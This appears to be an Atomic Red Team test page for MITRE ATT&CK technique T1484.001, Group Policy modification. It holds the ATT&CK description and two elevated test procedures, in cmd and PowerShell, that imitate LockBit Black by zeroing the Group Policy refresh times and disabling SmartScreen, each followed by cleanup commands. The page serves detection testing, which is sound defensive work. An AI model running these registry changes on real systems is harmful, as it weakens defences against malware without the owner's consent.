T1484.001 - Domain Policy Modification: Group Policy Modification

Description from ATT&CK

Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predictable network path `\\SYSVOL\\Policies\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) Like other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain. Malicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs) For example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)</blockquote> ## Atomic Tests - [Atomic Test #1 - LockBit Black - Modify Group policy settings -cmd](#atomic-test-1---lockbit-black---modify-group-policy-settings--cmd) - [Atomic Test #2 - LockBit Black - Modify Group policy settings -Powershell](#atomic-test-2---lockbit-black---modify-group-policy-settings--powershell)
## Atomic Test #1 - LockBit Black - Modify Group policy settings -cmd An adversary can modify the group policy settings. **Supported Platforms:** Windows **auto_generated_guid:** 9ab80952-74ee-43da-a98c-1e740a985f28 #### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin) ```cmd reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTimeDC /t REG_DWORD /d 0 /f reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTimeOffsetDC /t REG_DWORD /d 0 /f reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTime /t REG_DWORD /d 0 /f reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTimeOffset /t REG_DWORD /d 0 /f reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v EnableSmartScreen /t REG_DWORD /d 0 /f reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v ShellSmartScreenLevel /t REG_SZ /d Block /f ``` #### Cleanup Commands: ```cmd reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTimeDC /f >nul 2>&1 reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTimeOffsetDC /f >nul 2>&1 reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTime /f >nul 2>&1 reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTimeOffset /f >nul 2>&1 reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v EnableSmartScreen /f >nul 2>&1 reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v ShellSmartScreenLevel /f >nul 2>&1 ```

## Atomic Test #2 - LockBit Black - Modify Group policy settings -Powershell An adversary modifies group policy settings **Supported Platforms:** Windows **auto_generated_guid:** b51eae65-5441-4789-b8e8-64783c26c1d1 #### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin) ```powershell New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name GroupPolicyRefreshTimeDC -PropertyType DWord -Value 0 -Force New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name GroupPolicyRefreshTimeOffsetDC -PropertyType DWord -Value 0 -Force New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name GroupPolicyRefreshTime -PropertyType DWord -Value 0 -Force New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name GroupPolicyRefreshTimeOffset -PropertyType DWord -Value 0 -Force New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name EnableSmartScreen -PropertyType DWord -Value 0 -Force New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name ShellSmartScreenLevel -Force ``` #### Cleanup Commands: ```powershell Remove-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name GroupPolicyRefreshTimeDC -Force -ErrorAction Ignore Remove-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name GroupPolicyRefreshTimeOffsetDC -Force -ErrorAction Ignore Remove-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name GroupPolicyRefreshTime -Force -ErrorAction Ignore Remove-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name GroupPolicyRefreshTimeOffset -Force -ErrorAction Ignore Remove-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name EnableSmartScreen -Force -ErrorAction Ignore Remove-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name ShellSmartScreenLevel -Force -ErrorAction Ignore ```